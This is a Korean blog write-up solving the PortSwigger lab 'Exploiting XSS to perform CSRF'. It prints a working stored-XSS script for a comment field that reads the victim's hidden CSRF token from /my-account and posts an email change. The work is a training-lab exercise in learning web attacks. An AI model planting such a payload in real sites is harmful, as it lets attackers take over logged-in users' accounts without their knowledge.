본문 바로가기
Portswigger/XSS

Portswigger - Exploiting XSS to perform CSRF solution

by jh117jh 2023. 12. 20.
728x90

 

이번 문제는 댓글 기능에 취약점이 존재하며 XSS를 활용하여 CRSF공격을 수행하는 게 목표다.

 

 

우선 나는 CSRF 문제들을 풀어봤기에 

form태그를 이용해 댓글을 작성해봤다.

 

작성 후 게시글로 돌아가보면 

 

csrf파라미터가 없다고 나온다.

이를 통해 csrf 토큰이 존재하는 걸 알 수 있고

 

이메일 변경 페이지에 가면 csrf토큰을 확인할 수 있다.

`

 

 

csrf 토큰을 넣고 다시 댓글을 작성하면

게시글을 열람했을 때 이메일 변경 페이지로 이동되며 이메일이 변경되는 걸 볼 수 있다.

 

하지만 이 방법은 내 csrf토큰을 내가 알기 때문에 가능한 방법이고 실제 상황에서는 상대방의 csrf토큰을 알 수 없기 때문에

csrf 토큰을 탈취해서 작성해야 된다.

 

그러면 어떻게 csrf토큰을 탈취해야 될까?

 

아까 확인했듯이 email 변경 페이지 즉, /my-account로 가면 페이지를 구성하는 html에 hidden속성으로 숨겨져 있는 걸 알 수 있다.

 

<script>
xhttp= new XMLHttpRequest(); // HTML 요청 객체 생성

xhttp.open("GET","/my-account",false); // 이메일 변경 페이지에 요청을 보내 페이지 양식 가져오기
xhttp.send();

lineIndex=0;  // 페이지 양식으로 텍스트로 받아 비교하면서 csrf 이름을 가진 배열을 찾아 변수에 저장
var lines=xhttp.responseText.split("\n");

for(line=0;line<lines.length;line++)
{
	if(lines[line].indexOf('name="csrf"') != -1)
	{
		lineIndex=line;
	}
}
csrf=lines[lineIndex].split("value=")[1];
csrf=csrf.split("\"")[1];

xhttp.open("POST","/my-account/change-email",false); // csrf토큰과 변경 이메일을 넣어 이메일 변경 요청
xhttp.send("csrf="+csrf+"&email=1234@naver.com");
</script>

 

이렇게 하면 사용자가 로그인한 상태로 게시글을 열람하는 순간 이메일이 12345@naver.com으로 변경될 것이다.

 

댓글에 코드를 넣고 작성한 후 게시글을 다시 열람하면

이메일이 변경된 걸 확인할 수 있다.

 

 

요청을 보면 게시글 -> 내 이메일(csrf토큰 확인) -> 이메일 변경 요청이 되는 걸 확인할 수 있다.

 

 

XHR을 사용하는게 처음이라 이해하고 습득하는데 시간이 걸려 문제풀이 시간이 길었던것 같다.

728x90